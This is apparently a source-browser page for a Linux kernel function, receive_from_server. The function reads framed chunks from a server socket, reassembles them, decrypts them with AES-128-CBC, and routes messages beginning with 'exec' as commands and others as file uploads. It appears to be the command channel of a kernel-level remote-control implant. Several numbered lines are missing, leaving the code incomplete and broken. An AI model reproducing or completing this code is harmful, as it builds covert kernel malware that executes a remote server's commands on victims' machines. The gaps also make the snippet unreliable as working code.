receive_from_server - Receives a message from the server, decrypts it, and processes it.
This function reads chunks from the server, assembles them, decrypts the complete message, and returns it in the provided buffer. It handles both text commands and file uploads.
Return: The length of the received message on success, negative error code on failure.
200 {
202 if (!sock)
203 return -EINVAL;
204
205
207 const size_t HEADER_SIZE = 10;
208 const size_t EOT_SIZE = 1;
209 const size_t BODY_SIZE = FRAME_SIZE_FULL - HEADER_SIZE - EOT_SIZE;
210
211
212 char header_buffer[10];
214 if (!payloadbuf) {
215 return -ENOMEM;
216 }
217 char padbuf[10];
218
219 char *received = NULL;
220 bool *seen = NULL;
221 size_t nb_chunks = 0;
222 size_t total_received = 0;
223 int ret = -EIO;
224
225
226 while (true) {
227 int off, n;
228 uint32_t total, index;
229 uint16_t data_len;
230
231
232 off = 0;
233 while (off < HEADER_SIZE) {
234 struct kvec vec = { .iov_base = header_buffer + off,
235 .iov_len = HEADER_SIZE - off };
236 struct msghdr msg = { 0 };
237 n = kernel_recvmsg(sock, &msg, &vec, 1, vec.iov_len, 0);
238 if (n <= 0) {
239 ret = -EIO;
240 goto cleanup;
241 }
242
243 off += n;
244 }
245
246
247 total = be32_to_cpu(*(__be32 *)(header_buffer + 0));
248 index = be32_to_cpu(*(__be32 *)(header_buffer + 4));
249 data_len = be16_to_cpu(*(__be16 *)(header_buffer + 8));
250 if (data_len > BODY_SIZE) {
251 ret = -EINVAL;
252 goto cleanup;
253 }
254
255
256 off = 0;
257 while (off < (int)(data_len + EOT_SIZE)) {
258 struct kvec vec = { .iov_base = payloadbuf + off,
259 .iov_len = (data_len + EOT_SIZE) - off };
260 struct msghdr msg = { 0 };
261 n = kernel_recvmsg(sock, &msg, &vec, 1, vec.iov_len, 0);
262 if (n <= 0) {
263 ret = -EIO;
264 goto cleanup;
265 }
266 off += n;
267 }
268
269 if ((uint8_t)payloadbuf[data_len] !=
EOT_CODE) {
270 ret = -EINVAL;
271 goto cleanup;
272 }
273
274
275 size_t pad = FRAME_SIZE_FULL - (HEADER_SIZE + data_len + EOT_SIZE);
276 while (pad > 0) {
277 size_t rd = pad > HEADER_SIZE ? HEADER_SIZE : pad;
278 struct kvec vec = { .iov_base = padbuf, .iov_len = rd };
279 struct msghdr msg = { 0 };
280 n = kernel_recvmsg(sock, &msg, &vec, 1, rd, 0);
281 if (n <= 0) {
282 ret = -EIO;
283 goto cleanup;
284 }
285 pad -= n;
286 }
287
288
289 DBG_MSG(
"CHUNK %u/%u len=%u", index, total, data_len);
290
291
292 if (!received) {
293 nb_chunks = total;
294 received = vmalloc(nb_chunks * BODY_SIZE);
295 seen = kzalloc(nb_chunks * sizeof(bool), GFP_KERNEL);
296 if (!received || !seen) {
297 ret = -ENOMEM;
298 goto cleanup;
299 }
300 }
301
302
303 if (total != nb_chunks || index >= nb_chunks) {
304 ret = -EINVAL;
305 goto cleanup;
306 }
307
308 if (!seen[index]) {
309 memcpy(received + index * BODY_SIZE, payloadbuf, data_len);
310 seen[index] = true;
311 total_received += data_len;
312 }
313
314
316 break;
317 }
318
319 kfree(seen);
320 seen = NULL;
321
322
323 char *decrypted = NULL;
324 size_t dlen = 0;
325
326 ret =
decrypt_buffer(received, total_received, &decrypted, &dlen);
327 vfree(received);
328 received = NULL;
329 if (ret < 0)
330 goto cleanup;
331
332
334 dlen = max_len - 1;
335
336
337 if (dlen >= 4 && !memcmp(decrypted, "exec", 4)) {
338 memcpy(buffer, decrypted, dlen);
339 buffer[dlen] = '\0';
340 ret = dlen;
341 }
342
343
345 DBG_MSG(
"RECEIVING FILE : got %zu bytes", dlen);
347 }
348
349
350 else {
351 memcpy(buffer, decrypted, dlen);
352 buffer[dlen] = '\0';
353 ret = dlen;
354 }
355
356 vfree(decrypted);
357 return ret;
358
359cleanup:
360 kfree(payloadbuf);
361 kfree(seen);
362 vfree(received);
363 return ret;
364}
int decrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Decrypts a buffer using AES-128 in CBC mode.
struct socket * get_worker_socket(void)
#define DBG_MSG(fmt, args...)
static bool all_chunks_received(bool *received, size_t count)
int handle_upload_chunk(const char *data, size_t len, enum Protocol protocol)